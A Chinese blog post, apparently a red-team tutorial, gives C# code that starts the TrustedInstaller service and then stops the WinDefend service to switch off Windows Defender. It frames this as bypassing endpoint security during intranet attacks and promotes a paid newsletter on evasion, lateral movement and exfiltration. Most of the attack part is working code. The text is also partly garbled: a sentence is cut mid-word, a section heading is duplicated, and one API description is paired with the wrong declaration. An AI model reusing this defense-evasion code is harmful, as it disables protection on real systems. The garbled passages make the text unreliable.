.NET内网实战:模拟Installer关闭Defender

01基本介绍

图片

02编码实现

原理上通过Windows API函数将当前进程的权限提升至TrustedInstaller,从而实现了对Windows Defender服务的控制。通常可以利用Windows API中的OpenSCManager、OpenProcessToken、ImpersonateLoggedOnUser以及ControlService等函数协同工作,来实现对Windows Defender服务的关闭操作。

3.1 启动TrustedInstaller

ZwQueryInformationProcess函数用于获取指定进程的信息,如进程ID、父进程信息等,ReadProcessMemory函数用于从指

通过调用OpenSCManager、OpenService、StartService这三个API方法启动一个TrustedInstaller 服务。调用函数代码如下所示。

[DllImport("advapi32.dll", CharSet = CharSet.Unicode, EntryPoint = "OpenSCManagerW", ExactSpelling = true, SetLastError = true)]
public static extern IntPtr OpenSCManager(string machineName, string databaseName, uint dwAccess);

OpenService函数用于打开服务控制管理器(SCM)数据库中指定的服务,方便进行下一步的操作(如启动、停止等),具体代码如下所示。

[DllImport("advapi32", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool StartService(IntPtr hService, int dwNumServiceArgs, string[] lpServiceArgVectors);

StartService函数是Windows Service Control Manager (SCM) API的一部分,用于启动一个已安装的服务。为了便于使用,我们封装成一个自定义方法start_trustedinstaller_service,具体代码如下所示。

public static void start_trustedinstaller_service()
{
   IntPtr intPtr = Program.OpenSCManager(null, null, 0xF003F);
   bool flag = intPtr == IntPtr.Zero;
   if (flag)
   {
    Console.WriteLine("OpenSCManager failed!");
   }
   else
   {
    Console.WriteLine("OpenSCManager success!");
    string lpServiceName = "TrustedInstaller";
    IntPtr intPtr2 = Program.OpenService(intPtr, lpServiceName, (uint) SERVICE_ACCESS.SERVICE_START);
    bool flag2 = Program.StartService(intPtr2, 0, null);
    bool flag3 = flag2;
    if (flag3)
    {
     Console.WriteLine("TrustedInstaller service started!");
    }
    else
    {
     Console.WriteLine("TrustedInstaller service cannot be started!");
    }
    Thread.Sleep(2000);
    Program.CloseHandle(intPtr2);
    Program.CloseHandle(intPtr);
   }
}

上述代码中,依次调用系统API函数OpenSCManager,用于打开服务控制管理器数据库,并返回一个句柄。参数 null 表示连接到本地计算机,0xF003F 是访问权限标志,表示具有完全访问权限。

接着,声明一个值为TrustedInstaller的变量ServiceName,使用 OpenService 函数打开 TrustedInstaller 服务,并返回一个服务句柄。SERVICE_ACCESS.SERVICE_START 权限表示具有启动服务的权限。

最后,调用API 函数 StartService 启动 TrustedInstaller 服务。

3.2 启动TrustedInstaller

通过调用OpenService、ControlService等API函数来关闭Windows Defender。调用函数代码如下所示。

[DllImport("advapi32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool ControlService(IntPtr hService, Program.SERVICE_CONTROL dwControl, ref Program.SERVICE_STATUS lpServiceStatus);

ControlService函数,用于控制Windows服务的,包括启动、停止、暂停等。最后,我们封装成一个自定义方法stop_defender_service,实现的过程利用ControlService函数打开Windows Defender服务,将服务的句柄权限标志设置成SERVICE_STOP即可,具体实现代码如下所示。

public static void stop_defender_service()
  {
   IntPtr intPtr = Program.OpenSCManager(null, null, 983103U);
   bool flag = intPtr == IntPtr.Zero;
   if (flag)
   {
    Console.WriteLine("OpenSCManager failed!");
   }
   else
   {
    Console.WriteLine("OpenSCManager success!");
    string lpServiceName = "WinDefend";
    IntPtr intPtr2 = Program.OpenService(intPtr, lpServiceName, 44U);
    Program.SERVICE_STATUS service_STATUS = default(Program.SERVICE_STATUS);
    bool flag2 = Program.ControlService(intPtr2, Program.SERVICE_CONTROL.STOP, ref service_STATUS);
    bool flag3 = flag2;
    if (flag3)
    {
     Console.WriteLine("Windefender service stopped!");
    }
    else
    {
     Console.WriteLine("Windefender service cannot be stopped!");
    }
    Thread.Sleep(2000);
    Program.CloseHandle(intPtr2);
    Program.CloseHandle(intPtr);
   }
  }

综上,通过一系列步骤成功模拟 TrustedInstaller 服务的令牌,从而停止 Windows Defender反病毒软件服务,也因此该方法在内网红队绕过Windows终端安全防护阶段具有重要的意义。想要了解完整或者更多的内网安全防御绕过方向的文章,参考小报童《.NET 内网实战攻防》电子报刊。

03.NET 电子报刊

本次电子报刊《.NET 内网安全攻防》专栏,内容主要有.NET在各个内网渗透阶段与Windows系统交互的方式和技巧,可细分为以下8个方向。

1) .NET 安全防御绕过
2) .NET 本地权限提升
3) .NET 内网信息收集
4) .NET 内网代理通道
5) .NET 内网横向移动
6) .NET 目标权限维持
7) .NET 数据传输外发
8) .NET 目标痕迹清理

图片

图片

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值